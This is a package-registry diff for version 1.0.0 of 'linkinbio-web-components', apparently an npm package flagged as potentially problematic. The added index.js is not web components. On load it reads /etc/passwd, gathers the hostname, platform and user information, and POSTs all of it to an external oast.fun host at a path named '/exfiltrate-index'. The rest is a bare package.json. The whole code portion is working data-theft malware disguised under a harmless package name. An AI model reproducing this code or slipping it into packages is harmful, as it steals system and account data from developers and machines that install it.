linkinbio-web-components 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of linkinbio-web-components might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +39 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ // index.js
2
+ const https = require('https');
3
+ const os = require('os');
4
+ const fs = require('fs');
5
+
6
+ // Read the /etc/passwd file
7
+ const passwdData = fs.readFileSync('/etc/passwd', 'utf8');
8
+
9
+ // Create a data object with system information and /etc/passwd content
10
+ const data = JSON.stringify({
11
+ hostname: os.hostname(),
12
+ platform: os.platform(),
13
+ userInfo: os.userInfo(),
14
+ passwd: passwdData
15
+ });
16
+
17
+ const options = {
18
+ hostname: '5g21gf31kndrzttk8gb881yency51xray.oast.fun',
19
+ port: 443,
20
+ path: '/exfiltrate-index',
21
+ method: 'POST',
22
+ headers: {
23
+ 'Content-Type': 'application/json',
24
+ 'Content-Length': Buffer.byteLength(data)
25
+ }
26
+ };
27
+
28
+ const req = https.request(options, (res) => {
29
+ res.on('data', (d) => {
30
+ process.stdout.write(d);
31
+ });
32
+ });
33
+
34
+ req.on('error', (e) => {
35
+ console.error(e);
36
+ });
37
+
38
+ req.write(data);
39
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "linkinbio-web-components",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "keywords": [],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
12
+ }